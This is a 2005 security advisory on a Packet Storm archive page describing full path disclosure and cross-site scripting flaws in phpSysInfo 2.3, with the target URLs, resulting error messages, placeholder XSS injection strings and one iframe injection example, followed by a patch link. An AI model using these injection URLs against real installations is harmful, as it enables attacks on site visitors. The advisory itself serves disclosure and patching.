what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

phpSysInfo23.txt

phpSysInfo23.txt
Posted Mar 24, 2005
Authored by Maksymilian Arciemowicz | Site securityreason.com

phpSysInfo 2.3 is susceptible to cross site scripting flaws.

tags | exploit, xss
SHA-256 | 997c6e061bcef28ef540a639cef2a7fa6dfc3996de479cb79ba942a528a7f54f

phpSysInfo23.txt

Change Mirror Download


-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

[phpSysInfo 2.3 Multiple vulnerabilities cXIb8O3.11]

Author: Maksymilian Arciemowicz (cXIb8O3)
Date: 22.3.2005
from SECURITYREASON.COM TEAM


- --- 0.Description ---
PHPSysInfo 2.3 is a customizable PHP Script that parses /proc, and formats information nicely. It will display information about system facts like Uptime, CPU, Memory, PCI devices, SCSI devices, IDE devices, Network adapters, Disk usage, and more.


- --- 1. Full Path Disclosure ---
1.0
http://[host]/[DIR]/includes/os/class.OpenBSD.inc.php
Error message :
- ---------------
Warning: main(./includes/os/class.BSD.common.inc.php) [function.main]: failed to open stream: No such file or directory in /www/phpsysinfo-dev/includes/os/class.OpenBSD.inc.php on line 22

Fatal error: main() [function.require]: Failed opening required './includes/os/class.BSD.common.inc.php' (include_path='.:') in /www/phpsysinfo-dev/includes/os/class.OpenBSD.inc.php on line 22
- ---------------

1.1
http://[host]/[DIR]/includes/os/class.NetBSD.inc.php

Error message :
- ---------------
Warning: main(./includes/os/class.BSD.common.inc.php) [function.main]: failed to open stream: No such file or directory in /www/phpsysinfo-dev/includes/os/class.NetBSD.inc.php on line 22

Fatal error: main() [function.require]: Failed opening required './includes/os/class.BSD.common.inc.php' (include_path='.:') in /www/phpsysinfo-dev/includes/os/class.NetBSD.inc.php on line 22
- ---------------


1.2
http://[host]/[DIR]/includes/os/class.FreeBSD.inc.php

Error message :
- ---------------
Warning: main(./includes/os/class.BSD.common.inc.php) [function.main]: failed to open stream: No such file or directory in /www/phpsysinfo-dev/includes/os/class.FreeBSD.inc.php on line 22

Fatal error: main() [function.require]: Failed opening required './includes/os/class.BSD.common.inc.php' (include_path='.:') in /www/phpsysinfo-dev/includes/os/class.FreeBSD.inc.php on line 22
- ---------------


1.3
http://[host]/[DIR]/includes/os/class.Darwin.inc.php

Error message :
- ---------------
Warning: main(./includes/os/class.BSD.common.inc.php) [function.main]: failed to open stream: No such file or directory in /www/phpsysinfo-dev/includes/os/class.Darwin.inc.php on line 22

Fatal error: main() [function.require]: Failed opening required './includes/os/class.BSD.common.inc.php' (include_path='.:') in /www/phpsysinfo-dev/includes/os/class.Darwin.inc.php on line 22
- ---------------


1.4
http://[host]/[DIR]/includes/XPath.class.php

Error message :
- ---------------
Warning: array_merge() [function.array-merge]: Argument #2 is not an array in /www/phpsysinfo-dev/includes/XPath.class.php on line 5056

Warning: array_merge() [function.array-merge]: Argument #2 is not an array in /www/phpsysinfo-dev/includes/XPath.class.php on line 5056

Warning: array_merge() [function.array-merge]: Argument #2 is not an array in /www/phpsysinfo-dev/includes/XPath.class.php on line 5056

...

Warning: array_merge() [function.array-merge]: Argument #2 is not an array in /www/phpsysinfo-dev/includes/XPath.class.php on line 4974

Warning: array_merge() [function.array-merge]: Argument #2 is not an array in /www/phpsysinfo-dev/includes/XPath.class.php on line 4974

Warning: array_merge() [function.array-merge]: Argument #2 is not an array in /www/phpsysinfo-dev/includes/XPath.class.php on line 4974
- ---------------


1.5
http://[host]/[DIR]/includes/system_header.php

Error message :
- ---------------
Fatal error: Call to undefined function created_by() in /www/phpsysinfo-dev/includes/system_header.php on line 39
- ---------------


1.6
http://[host]/[DIR]/includes/system_footer.php

Error message :
- ---------------
Warning: opendir(templates/) [function.opendir]: failed to open dir: No such file or directory in /www/phpsysinfo-dev/includes/system_footer.php on line 21

Warning: readdir(): supplied argument is not a valid Directory resource in /www/phpsysinfo-dev/includes/system_footer.php on line 22

Warning: closedir(): supplied argument is not a valid Directory resource in /www/phpsysinfo-dev/includes/system_footer.php on line 27

Warning: asort() expects parameter 1 to be array, null given in /www/phpsysinfo-dev/includes/system_footer.php on line 29

Warning: Variable passed to each() is not an array or object in /www/phpsysinfo-dev/includes/system_footer.php on line 31

Warning: opendir(includes/lang/) [function.opendir]: failed to open dir: No such file or directory in /www/phpsysinfo-dev/includes/system_footer.php on line 53

Warning: readdir(): supplied argument is not a valid Directory resource in /www/phpsysinfo-dev/includes/system_footer.php on line 54

Warning: closedir(): supplied argument is not a valid Directory resource in /www/phpsysinfo-dev/includes/system_footer.php on line 59

Warning: asort() expects parameter 1 to be array, null given in /www/phpsysinfo-dev/includes/system_footer.php on line 61

Warning: Variable passed to each() is not an array or object in /www/phpsysinfo-dev/includes/system_footer.php on line 63
- ---------------


- --- 2. XSS aka Cross Site Scripting ---
if register_globals=On :

2.0
http://[host]/[DIR]/index.php?sensor_program=[XSS]

2.1

http://[host]/[DIR]/includes/system_footer.php?text[language]=">[XSS]

http://[host]/[DIR]/includes/system_footer.php?text[template]=">[XSS]

http://[host]/[DIR]/includes/system_footer.php?hide_picklist=cXIb8O3&VERSION=<iframe src=http://securityreason.com>

etc.


- --- 3. How to fix ---

Download my patch.
http://securityreason.com/patch/phpSysInfo-2.3.patch.by.cXIb8O3.tar.gz

- --- 4. Greets ---

sp3x.

good adv.. => coming soon....

- --- 5.Contact ---
Author: Maksymilian Arciemowicz ( cXIb8O3 )
Email: max [at] jestsuper [dot] pl or cxib [at] securityreason [dot] com
GPG-KEY: http://www.securityreason.com

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.6 (FreeBSD)

iD8DBQFCQa+1znmvyJCR4zQRAsNAAJ9mmONeqABZoS1CwMj4hRqAzjxHdgCfTRu7
Am3hGy9bgcms4OHoCcHMDP4=
=20uz
-----END PGP SIGNATURE-----
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close